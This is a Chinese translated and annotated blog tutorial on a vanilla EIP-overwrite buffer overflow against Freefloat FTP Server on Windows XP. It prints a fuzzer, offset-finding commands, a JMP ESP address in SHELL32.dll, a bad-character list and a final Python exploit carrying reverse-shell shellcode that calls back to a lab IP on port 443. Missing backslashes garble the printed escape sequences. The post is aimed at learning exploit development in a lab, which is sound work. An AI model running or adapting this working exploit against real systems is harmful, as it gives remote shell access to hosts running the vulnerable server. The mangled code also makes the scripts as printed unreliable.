0x0 Exploit Tutorial: 缓冲区溢出 – Vanilla EIP Overwrite

来源:互联网 发布:大数据分析建模 编辑:程序博客网 时间:2024/06/06 01:41

说明

  • 一、在下面这样的框框里面的是原文翻译后的语句

本博客将介绍一些开发研究和开发的基本概念。 我们将通过使用Freefloat FTP服务器的基本缓冲区溢出示例

  • 二、其他像如下的正文格式的是本中文CSDN博主的一些补充说明和注释

于是我们肯定要先部署一个Freefloat FTP

  • 三、这里会同时提供原文中的下载连接和本文博客下载以后上传百度云的连接(防止原作者跑路)

  • 四、所有0x系列的翻译文章遵循这些规则

说明完


图片

本博客将介绍一些漏洞的基本概念。 我们将通过使用Freefloat FTP服务器的基本缓冲区溢出示例

Freefloat FTP原文下载链接
Freefloat FTP百度云下载链接 密码: tn2y

这里貌似需要我们部署一个这个FTPServer,我们先跟着原博走,等到了要用时候再部署

如果你以前从未写过漏洞,你可能会认为任务远远超出你的理解,但是我向你保证,这个基本的例子很容易理解。 我们将展示一个Vanilla EIP Overwrite漏洞,这将允许我们获得对程序执行的控制并将其重定向到我们的shellcode。 如果你打算跟随这个博客文章,你应该进行以下设置:

  1. 一个虚拟化平台 (像VirtualboxVMware等等)
  2. 安装一个Windows 32-bit XP虚拟机和一个Kali Linux虚拟机
  3. 在Windows的虚拟机上安装Immunity debuggerMona.pyFreefloat FTP Server

其他的虚拟化平台还有那两个虚拟机蛮好理解的,这里解释一下,Immunity debugger是专门用于加速漏洞利用程序的开发,辅助漏洞挖掘以及恶意软件分析。它具备一个完整的图形用户界面,同时还配备了迄今为止最为强的python安全工具库。它巧妙的将动态调试功能与一个强大的静态分析引擎融合于一体,它还附带了一套高度可定制的纯python图形算法,可用于帮助我们绘制出直观的函数体控制流以及函数中的各个基本块

我们可以从这里下载https://debugger.immunityinc.com

或者百度云连接这里

Immunity debugger 百度云 密码: wk65

还有Mona.py是一个由corelan team整合的一个可以自动构造Rop Chain而且集成了metasploit计算偏移量功能的强大挖洞辅助插件,可以安装在Immunity debugger上

继续看原文:

在我们跳上键盘的东西之前,让我们谈一谈关于缓冲区溢出的一些基本原理。 一般的想法是有一个应用程序接受来自用户的输入,没有任何边界检查。 这允许我们覆盖内存空间“缓冲区”,并希望覆盖EIP寄存器,这将允许我们将程序执行重定向到我们的shellcode。

缓冲区溢出攻击是种比较先进的估计方法,因为需要攻击者能够掌控应用程序崩溃的细节(结构化异常处理(SEH),shellcode和坏字符等可用空间)和熟悉操作系统(OS)原理,和防御(ALSR,DEP等),这些更高级的话题将在后面的博客文章中讨论。 毕竟我们需要先学会爬行才能跑。

汇编入门:

汇编语言被认为是一种底层语言,它是计算机架构指令集的人类可读版本。

通常代码以较高级别的编程语言(C / C ++)编写,然后编译成机器代码,这只是CPU执行的十六进制字节。 这些十六进制字节可以由汇编代码表示。 当我们开始在Immunity调试器中查看FreeFloat FTP服务器时,我们将看到汇编指令和原始十六进制值。

当您听到shellcode时,这些是由CPU直接执行的原始机器指令,无需经历此编译过程。 有了这个漏洞利用例子,我们将展示一个基于堆栈的缓冲区溢出。 这样我们可以利用CPU寄存器来利用漏洞。 寄存器是CPU可用的少量内存。

以下是一些常见CPU寄存器的快速概述:

指令寄存器:程序计数器(Program Counter)EIP - 包含要由程序执行的下一条指令的存储器地址的寄存器。 EIP告诉CPU下一步做什么

栈顶指针:ESP - 随时指向堆栈顶部的寄存器

栈基址指针:EBP - 在整个功能中保持一致,以便它可以用作占位符来跟踪局部变量和参数。

EAX - 通常用于算术运算的累加器

EBX - 基地址寄存器

ECX - 计数器通常用于保存循环次数

EDX - 数据寄存器(Data Register)

ESI / EDI - 由内存传输指令使用

ESP - 指向栈上的最后一个项目

为了避免写一本书,我们不会在这篇博客文章中讲解任何更多的汇编原理。 如果您发现有些内容不是很明白意思,你可以在网上查找相关的课程学习。 现在我们只需要知道EIP将控制程序执行,而ESP将指向存储我们的shellcode的栈顶。 当我们准备开始fuzz应用程序时,我们将需要了解下面知识

Fuzzing:
为了开始渗透的过程,我们需要首先使用一个fuzzer来为应用程序提供不同类型的输入。 在这个例子中,我们将利用一个基本的Python脚本来为FTPUSER参数提供持续不断增加的缓冲区输入,直到应用程序崩溃。 下面是一个基本的Python脚本,我们将利用并分析它,以帮助您了解代码的工作原理:

# 导入脚本将利用所需的模块# 这允许我们使用模块中的功能,而不是从头开始编写代码import sys, socketfrom time import sleep# 设置第一个入参是从CLI获得的'target'参数target = sys.argv[1]# 创建一个由50个'A'的ASCII码'x41'组成的字符串buff = 'x41'*50# 通过循环在缓冲区中发送一个长度增加的字符串while True:    try:        # 连接到目标的TCP/21端口        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)        s.settimeout(2)        s.connect((target,21))        s.recv(1024)        print "Sending buffer with length: "+str(len(buff))        # 发送登录信息到目标        s.send("USER "+buff+"rn")        s.close()        sleep(1)        # 每次循环增加50个A的ASCII字符编码知道连接失败        buff = buff + 'x41'*50    except:        # 连接失败处理代码,连接失败说明被我们fuzz了        print "[+] Crash occured with buffer length: "+str(len(buff)-50)        sys.exit()

现在可以启动FTP服务器并将其附加到Immunity调试器(File > Attach)

这句话的意思应该就是让我们用Immunit监视这个FTP服务器的进程

原文图片是这样的


原文图片


我们自己做一遍试试

先就是安装Immunit这个软件,这个软件会识别不出来我安装的Python,只好再安装一遍他提供的版本

安装完之后解压那个FTP Server的压缩包,是个随机数名那个,然后文章的意思是先启动FTP Server,然后用ImmunitAttach这个进程

图片

进程

一旦我们点击并允许FTP服务器运行,我们可以开始运行我们的fuzzer,看看我们是否可以崩溃应用程序,并希望通过我们的缓冲区输入覆盖EIP

原文图片如下


作者原图


这里作者应该是物理机应该用了一个ubuntu的系统,然后开了一个windows xp 32的虚拟机和一个kali的虚拟机,这里不用太过于纠结细节

我们现在就开始用kali来运行上面那个python脚本,其实用ubuntu也行,但是注意,要保证这两个虚拟机在内网是可以互通的

以下是我做的

图片

我们把那个脚本复制下来之后执行,但是我这里并不会溢出,什么情况

105windows xp 32ip地址,然后我们用nmap扫了之后会发现开了21端口了,说明我们的FTP Server已经在运行了

图片

然后我们用脚本测试会发现这个

图片

按照作者原文的那个,应该到250左右就会崩溃

但是我已经测试到这么大的buf了,但是还是没有使这个FTP Server崩溃,这有点玄学了,后来因为我等不得,然后把sleep(1)这个函数注释了

然后发现,在这么暴力的攻击下,这个程序的确会崩溃

图片

然而这个时候我们已经发送了

图片

1722850长度的包了

然后做出这步之后,我们看看Immunity中的显示

我再次运行这个脚本的时候,又不是1722850

图片

这次变成231250了,而且这次也没显示程序要求退出,估计是脚本崩溃了

然后到现在我的脚本都已经十几亿的长度了,还是没崩溃,我们继续看看原文,这里反正没复现出来

以下是原文图片

图片

在上面的屏幕截图中,您可以看到我们使用250字节的缓冲区,用“x41”进行持续输入成功覆盖了EIP的值。 我们继续研究这个漏洞利用的下一步是确定缓冲区中的哪个偏移量覆盖EIP。 为了做到这一点,我们可以利用Metasploit的“pattern_create.rb”脚本,它将产生一个带有模式的唯一字符串:

图片

虽然上一步没做出来,我们还是跟着原文都做一遍,知道方法

这里使用了这么一个脚本,原文指示的路径是这个

/usr/share/metasploit-framework/tools/pattern_create.rb

但是因为原文比较久远了,现在这个脚本已经不在这个路径下

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb

图片

图片

然后我们按照原文中的做法来产生这么一个字符串

图片

发现一个报错,少了一个模块

安装

先安装一下,然后再运行

图片

这里如果安装原文的命令来执行的话,会提示你少了一个参数,然后我们查看一下帮助文件,修改一下原文的命令为下面这一行,再执行就ok

注意看着这个字符串,除了后门的数字之外,其他的字符串入Aa都是相同的

ruby pattern_create.rb -l 600

原文

现在我们可以使用这个唯一的字符串,并将其作为我们的缓冲区发送,以查看四个字节是否覆盖EIP。 以下是我们目前的漏洞利用脚本:

import sys, sockettarget = sys.argv[1]# pattern_create.rb 600 - creates a unique string of 600 bytes# The 4 byte value that overwrites EIP will be unique and determine offset in buffer where EIP can be controlled# 上面这句话翻译过来就是,覆盖EIP的4字节值将是唯一的,并确定可以控制EIP的缓冲区中的偏移量buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((target,21))print s.recv(2048)s.send("USER "+buff+"rn")s.close()

因为现在不能复现这个漏洞了(我执行之后也并没有出现和原文一样的东西所以我直接贴原文的东西了)

原文图片

原文

现在我们可以拿这个值,看看它在缓冲区中的偏移量

图片

这里是将崩溃时候内存中EIP的值当作了输入传给了pattern_offset.rb

这个脚本在

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb

和书上的有点出入

为什么这个脚本通过EIP的值就可以计算得出溢出的位置,因为上面那个唯一的字符串是有规律的,都是从Aa0递增上去的

所以溢出的时候这个值也是确定的

实际操作图片

图片

这里的命令也和原文的命令有点出入,要加一个参数才行

ruby pattern_offset.rb -q 37684136

控制EIP:

我们可以看到,EIP在我们的缓冲区的偏移量230处被覆盖。 这意味着我们需要发送230个字节先让ESP寄存器溢出,然后再发送4个字节(译者注:一开始发送的230个字节存储在ESP中,然后后面的这4个字节会因为溢出而存储在EIP中),后面这4个字节将是我们要执行的指令的内存地址。 由于我们的输入的剩余部分是由ESP寄存器指明的,所以我们期望程序跳转到ESP。
(译者注:用内存中任意一个”jmp esp”的地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp指令,由于函数返回后ESP指向返回地址后,jmp esp执行后,CPU将到栈区函数返回地址之后的地方取指令执行,所以可以将shellcode的布置,在缓冲区前面一段用任意数据填充,把shellcode放在函数返回地址后面。jmp esp执行完就执行shellcode)

通过”JMP ESP”指令,我们可以通过EIP成功地控制程序执行,并在我们的用户控制的空间中将包含我们的shellcode。 要在内存中找到一个JMP ESP指令,我们将利用“mona.py”一个非常有用的免费调试器Python脚本。 以下是运行命令以在内存中查找“JMP ESP”指令的示例:

原文图片如下

原文图片

这里将那个mona.py下载下来之后,放入你Immunity Debugger安装目录的这个目录下就行了

图片

将”JMP ESP”的内存地址添加到我们的脚本中230字节初始缓冲区之后,我们就可以使这个内存地址覆盖EIP的内容。 在我们运行这个脚本之前,我们可以在我们的JMP ESP指令中设置一个断点,所以我们可以在输入输入后手动执行指令:

搜索内存地址:

原文图片如下

原文图片

设置断点(Highlight instruction > 按F2或双击十六进制显示):

上面这句话的意思就是双击那个代码就会跳到对应的代码那里,和IDA里面很像

原文图片

下面是一个迭代生成payload的exploit脚本:

import sys, sockettarget = sys.argv[1]# EIP control after 230 bytes in buffer# '0x7c9d30d7' - JMP ESP | XP SP3 EN [SHELL32.dll] (C:WINDOWSsystem32SHELL32.dll)buff = 'x90'*230+'xd7x30x9dx7c'+'x43'*366s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((target,21))print s.recv(2048)s.send("USER "+buff+"rn")s.close()

这里说明一下这个xd7x30x9dx7c是哪里来的

原文图片

上面是刚刚的一个图片,原作者选择了一个地方的JMP ESP位置,因为这个位置后门接着的是那个shellcode,也就是是0x7C9D30D7的位置,因为两个栈的数据走向不同,所以将0x7C9D30D7按字节颠倒一下就是xd7x30x9dx7c

放大一点

图片

图片

后面有个JGE SHORT SHELL32.7D5A30B1

将这个地址放到EIP之后,下一个指令周期,执行的指令就是JMP ESP这个命令,其实这个指令执行完之后,CPU会马上执行这个指令之后的语句,也就是执行SHELL32

原文图片

使用断点设置,我们将我们的exploit脚本指向目标,看看我们是否打破了我们的断点:

原文图片

现在我们可以点击F7来执行JMP ESP指令,我们可以看到我们登陆到’x43’C的缓冲区。 这是我们的用户控制空间,现在可以存储我们的shellcode。

原文图片

原文图片

这里的INC EBX也就是为刚刚那个python脚本payload的最后那里构造的366x43字符增加存储的空间(EBX是数据寄存器)

buff = 'x90'*230+'xd7x30x9dx7c'+'x43'*366

获取Shell:

在这个漏洞研究过程中,现在是时候到了生成我们自己的shellcode的时候了。 在我们研究利用此漏洞后,这将是我们最终想要做事情。 对于这个例子,我们将使用msfpayload来生成反向shell有效载荷。 我们将跳过的一个漏洞开发过程的一部分也就是恶意字符分析的部分。 一个程序崩溃后会出现一些会使程序停止执行的字符,导致程序终止。

为了成功执行我们的有效载荷,我们需要避免这些字符。 对于这个漏洞,我们有以下恶意字符(”x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d”)。 这个恶意字符的构造过程可能很麻烦,可能很耗时,所以我们不会列举这篇文章中的恶意字符构造方法。 要创建shellcode,我们执行以下命令:

原文图片

原文图片

现在我们有了我们的shellcode,我们可以把它存储在我们最后的exploit脚本中:

import sys, sockettarget = sys.argv[1]# msfpayload windows/shell_reverse_tcp LHOST=192.168.56.102 LPORT=443 R| msfencode -e x86/fnstenv_mov -b "x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d" -t c# Bad Chars: "x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d"# 338 bytesshellcode = ("x6ax4fx59xd9xeexd9x74x24xf4x5bx81x73x13xb7x3d""xadxf8x83xebxfcxe2xf4x4bxd5x24xf8xb7x3dxcdx71""x52x0cx7fx9cx3cx6fx9dx73xe5x31x26xaaxa3xb6xdf""xd0xb8x8axe7xdex86xc2x9cx38x1bx01xccx84xb5x11""x8dx39x78x30xacx3fx55xcdxffxafx3cx6fxbdx73xf5""x01xacx28x3cx7dxd5x7dx77x49xe7xf9x67x6dx26xb0""xafxb6xf5xd8xb6xeex4exc4xfexb6x99x73xb6xebx9c""x07x86xfdx01x39x78x30xacx3fx8fxddxd8x0cxb4x40""x55xc3xcax19xd8x1axefxb6xf5xdcxb6xeexcbx73xbb""x76x26xa0xabx3cx7ex73xb3xb6xacx28x3ex79x89xdc""xecx66xccxa1xedx6cx52x18xefx62xf7x73xa5xd6x2b""xa5xdfx0ex9fxf8xb7x55xdax8bx85x62xf9x90xfbx4a""x8bxffx48xe8x15x68xb6x3dxadxd1x73x69xfdx90x9e""xbdxc6xf8x48xe8xfdxa8xe7x6dxedxa8xf7x6dxc5x12""xb8xe2x4dx07x62xb4x6ax90x77x95x95x9exdfx3fxad""xf9x0cxb4x4bx92xa7x6bxfax90x2ex98xd9x99x48xe8""xc5x9bxdax59xadx71x54x6axfaxafx86xcbxc7xeaxee""x6bx4fx05xd1xfaxe9xdcx8bx3cxacx75xf3x19xbdx3e""xb7x79xf9xa8xe1x6bxfbxbexe1x73xfbxaexe4x6bxc5""x81x7bx02x2bx07x62xb4x4dxb6xe1x7bx52xc8xdfx35""x2axe5xd7xc2x78x43x47x88x0fxaexdfx9bx38x45x2a""xc2x78xc4xb1x41xa7x78x4cxddxd8xfdx0cx7axbex8a""xd8x57xadxabx48xe8xadxf8")# EIP control after 230 bytes in buffer# '0x7c9d30d7' - JMP ESP | XP SP3 EN [SHELL32.dll] (C:WINDOWS\system32\SHELL32.dll)buff = 'x90'*230+'xd7x30x9dx7c's=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((target,21))print s.recv(2048)s.send("USER "+buff+'x90'*15+shellcode+"rn")s.close()

最后,我们可以重新启动FTP服务器,将应用程序附加到调试器,启动一个netcat监听器来捕获我们的反向shell,并将我们的exploit缓冲区发送到应用程序。

图片

这里就是通过缓冲区溢出然后执行shell32.dll,然后通过那一串字符串给shell32.dll传参,包括shell32.dll要连的ip地址和端口,然后调用这个shell32.dll连回本机,本机监听443端口然后获得主机的shell

本文完